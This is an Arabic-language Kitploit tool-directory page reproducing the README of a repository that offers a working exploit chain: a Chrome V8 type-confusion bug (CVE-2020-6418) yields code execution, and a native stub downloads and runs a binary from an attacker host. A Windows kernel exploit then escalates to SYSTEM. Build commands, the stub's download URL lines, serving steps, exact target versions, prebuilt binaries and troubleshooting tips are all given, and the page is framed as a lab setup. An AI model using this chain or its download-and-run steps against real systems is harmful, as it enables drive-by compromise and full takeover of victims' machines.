Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/a-mansilla/cve-2020-6418
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتطوير الحمولاتاستغلال الملفات الثنائية
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

سلسلة استغلال أحادية المرحلة لثغرة CVE-2020-6418 (RCE في Chrome) مقترنة بتصعيد صلاحيات Windows إلى SYSTEM، مع نصوص بناء وملفات ثنائية مجمعة مسبقًا.

عرض المستودع
منذ 8 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-6418: تنفيذ تعليمات برمجية عن بُعد في Chrome مقترنًا بتصعيد صلاحيات في Windows

يحتوي هذا المستودع على سلسلة استغلال عاملة أحادية المرحلة لثغرة CVE-2020-6418 (وهي خطأ خلط أنواع في مُحوِّل Turbofan الخاص بمحرك V8، يؤثر على متصفح Google Chrome إصدار 80.0.3987.87 x64). زيارة صفحة خبيثة باستخدام Chrome ضعيف تمنحك تنفيذ تعليمات برمجية أصلية داخل عملية العارض. من هناك، يقوم الاستغلال بتحميل وتشغيل ملف ثنائي ثانٍ يضم ثغرتين إضافيتين (نقص في فحص الطول في NtPowerInformation بالإضافة إلى CVE-2021-31956، وهي فيضان في التجمع داخل ntfs.sys) للانتقال من عملية غير مميزة وصولًا إلى NT AUTHORITY\SYSTEM.

الأمر برمته يعمل بزيارة واحدة للصفحة، دون أي خطوات يدوية بين ثغرة المتصفح وحصولنا على صلاحيات SYSTEM.

الفضل الأصلي في استغلال Chrome يعود إلى Clement Lecigne (اكتشاف الثغرة، فريق Google TAG) و Istvan Kurucsai / Vignesh S Rao (إثبات المفهوم الأصلي، الذي نُشر لاحقًا كوحدة Metasploit). قمنا بإزالة تبعيات Metasploit وأعدنا بناء آلية التسليم حول أداة تحميل أصلية بدلًا من تضمين الحمولة في الصفحة. التفاصيل في browser-exploit/README.md.

هيكل المستودع

root@kitploit:~
browser-exploit/        The Chrome exploit (the V8 bug + the native stub)
  exploit_template.html   HTML/JS source, with a placeholder for the stub
  build_exploit.py         generates exploit.html from the template
  shellcode/                the native code the exploit injects into Chrome
privilege-escalation/    The Windows EoP chain, a standalone C program
prebuilt/                Ready to use binaries (exploit.html and exploit.exe)
notes/                   An earlier approach we tried and abandoned, kept
                         as a record of what we learned along the way

ما تحتاجه

جهاز المهاجم ("المضيف"): أي إصدار حديث من Windows مع Visual Studio 2019 أو 2022 (أي إصدار، يكفي Community، أو أدوات Build Tools فقط)، و NASM و Python 3. هذا هو الجهاز الذي تبني عليه كل شيء وتخدم صفحة الاستغلال منه.

الجهاز المستهدف ("الجهاز الافتراضي VM"): يجب أن يطابق هذا تمامًا، فالاستغلال يعتمد على إزاحات (offsets) مُرمَّزة تصلح فقط لهذه الإصدارات تحديدًا.

  • Windows 10 20H1، الإصدار 19041.264 x64. تحقق باستخدام winver أو [System.Environment]::OSVersion في PowerShell.
  • Google Chrome 80.0.3987.87 x64 (الثغرة صُححت في 80.0.3987.122، لذا يجب أن يكون هذا الإصدار بالتحديد أو إصدارًا سابقًا عرضةً للثغرة). تحقق باستخدام chrome://version.
  • مجلد C:\lab8 (يمكن أن يكون فارغًا، فقط يجب أن يكون موجودًا).

اختبرنا هذا على جهاز افتراضي في VMware Workstation مع محول شبكة من نوع Host Only فقط، لكن أي إعداد يتمكن فيه الجهاز الافتراضي من الوصول إلى المضيف عبر HTTP يعمل بالطريقة نفسها.

بدء سريع

1. ابنِ كل شيء على المضيف

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

قبل البناء الأول، افتح browser-exploit\shellcode\download_and_run_stub.asm واعمل على تعديل هذين السطرين بالقرب من الأسفل:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP هو عنوان IP لهذا الجهاز كما يظهر من الجهاز الافتراضي (شغّل ipconfig على الجهاز الافتراضي وتحقق من محول الشبكة الذي يطابق شبكة Host Only أو NAT، أو شغّل ipconfig ببساطة على المضيف واستخدم المحول الموجود على نفس الشبكة الفرعية للجهاز الافتراضي). يجب أن يتطابق destination_path مع أي مكان تريد أن يصل إليه ملف EoP الثنائي داخل الجهاز الافتراضي، وهو افتراضيًا C:\lab8.

بعد التعديل، أعد تجميع الـ stub وأعد توليد exploit.html (الأمران من الخطوة 1، مع تخطي بناء privilege-escalation لأن هذا البناء لا يعتمد على عنوان IP).

إذا كنت لا تريد لمس ملف التجميع لإجراء اختبار سريع، فإن prebuilt/ يحتوي بالفعل على نسخة عاملة مع عنوان IP خاص بنا مضمّنًا فيها. ستعمل فقط إذا كانت شبكتك تطابقه صدفة، لذا بناء نسختك الخاصة هو الطريق الموثوق.

2. قدّم صفحة الاستغلال من المضيف

ضع exploit.html و exploit.exe (الملف الذي بُني في privilege-escalation/) في المجلد نفسه، ثم:

root@kitploit:~
python -m http.server 8000

يجب أن يكون exploit.exe قابلاً للوصول عبر عنوان URL المحدد الذي وضعته في download_url أعلاه، لأن الـ stub الأصلي يجلبه مباشرةً، وليس عبر المتصفح.

ملاحظة سريعة حول جدار حماية المضيف: إذا لم يتمكن الجهاز الافتراضي من الوصول إلى المنفذ 8000، فغالبًا ما يكون السبب هو Windows Defender Firewall الذي يحظر الاتصال الوارد على شبكة غير مصنفة، أو قاعدة متبقية تحظر python.exe تحديدًا (في بعض الأحيان يقوم Windows بإنشاء واحدة تلقائيًا في المرة الأولى التي يحاول فيها أحد التطبيقات قبول اتصال على شبكة غير موثوقة). تحقق من Get-NetFirewallRule -DisplayName "python.exe" في PowerShell بصلاحيات مرتفعة إذا واجهت هذه المشكلة.

3. تجهيز الجهاز الافتراضي

  • تأكد من أن إصدار Windows و Chrome يطابقان المتطلبات أعلاه.

  • أنشئ C:\lab8 إذا لم يكن موجودًا بالفعل (يُقبل أن يكون فارغًا).

  • إذا كان هذا جهازًا افتراضيًا عاريًا لم يمر أبدًا بدورة إقلاع حقيقية، فقد يكون C:\Windows\bootstat.dat مفقودًا أو فارغًا، وثغرة النواة تتطلب وجوده بمحتوى صالح. إذا لزم الأمر:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. تشغيله

شغّل Chrome الضعيف باستخدام --no-sandbox (لا يتضمن هذا PoC هروبًا من وضع الحماية، لذا يجب أن يكون العارض بالفعل خارج وضع الحماية للوصول إلى نظام الملفات وتشغيل العمليات) ووجّهه إلى الصفحة:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

افتح DevTools (F12) وتفقد تبويب Console، فالاستغلال يسجّل تقدمه هناك. إذا كان كل شيء متوافقًا، يجب أن ترى خلط الأنواع ينجح، ثم يقوم الـ stub بتحميل وتشغيل ملف EoP الثنائي، وبعد بضع ثوانٍ تظهر نافذة وحدة تحكم جديدة تعمل بصلاحيات NT AUTHORITY\SYSTEM.

إذا حدث خطأ ما

  • يتعطل Chrome بدلًا من تشغيل الاستغلال: يكاد يكون السبب دائمًا عدم تطابق إصدار Chrome. الإزاحات في exploit_template.html (objleaker_offset, float_carw_elements_offset, وما تبقى) خاصة بالإصدار 80.0.3987.87 x64، ولن تعمل على إصدار مختلف حتى لو كان إصدار تصحيح واحدًا مختلفًا.
  • يفتح ملف EoP الثنائي وحدة تحكم لكنه لا يصل أبدًا إلى SYSTEM: الفكرة نفسها، تحقق من أن إصدار Windows هو 19041.264 بالضبط. إزاحات النواة (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, ومختلف إزاحات EPROCESS/ETHREAD في privilege-escalation/exploit.c) مُرمَّزة لذلك الإصدار.
  • لا يبدو أن الـ stub الخاص بالتحميل يجلب أي شيء: تحقق مرة أخرى من أن download_url في download_and_run_stub.asm يطابق العنوان والمنفذ اللذين يقدم المضيف عليهما الخدمة فعليًا، وأن الجهاز الافتراضي يمكنه الوصول إليه (أمر بسيط مثل curl http://YOUR_HOST_IP:8000/exploit.exe من داخل الجهاز الافتراضي هو طريقة سريعة للتحقق من الاتصال قبل إلقاء اللوم على الاستغلال).

مزيد من التفاصيل حول كل جزء، بما في ذلك لماذا بُني بهذه الطريقة، موجودة في README الخاص بكل مجلد.

تنزيل الأداة